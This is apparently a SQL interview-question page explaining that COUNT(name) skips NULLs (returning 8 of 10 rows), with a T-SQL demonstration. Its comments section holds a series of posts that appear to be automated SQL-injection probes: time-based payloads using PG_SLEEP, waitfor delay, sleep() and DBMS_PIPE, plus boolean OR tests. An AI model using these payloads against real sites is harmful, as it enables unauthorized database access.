What is a result of the following query for table with 10 rows when there are 2 clients with the name column having a NULL value?

SELECT COUNT(name) FROM clients

Experience Level: Medior
Tags: DatabasesSQL

Answer

Explanation

The result is 8 because if you use COUNT(column), only rows with NOT NULL value in the column are counted.

If you however use COUNT(*), rows with any value (including NULL) in the column are counted.

Example

DECLARE @clients TABLE (id INT, name NVARCHAR(50))

INSERT INTO @clients (id, name) VALUES (1, '1 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (2, '2 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (3, '3 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (4, '4 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (5, '5 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (6, '6 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (7, '7 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (8, '8 Peter Johnson')
INSERT INTO @clients (id, name) VALUES (9, NULL)
INSERT INTO @clients (id, name) VALUES (10, NULL)

SELECT COUNT(name) FROM @clients
-- Returns 8

SELECT COUNT(*) FROM @clients
-- Returns 10
 

Comments

No Comments Yet.
Be the first to tell us what you think.

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e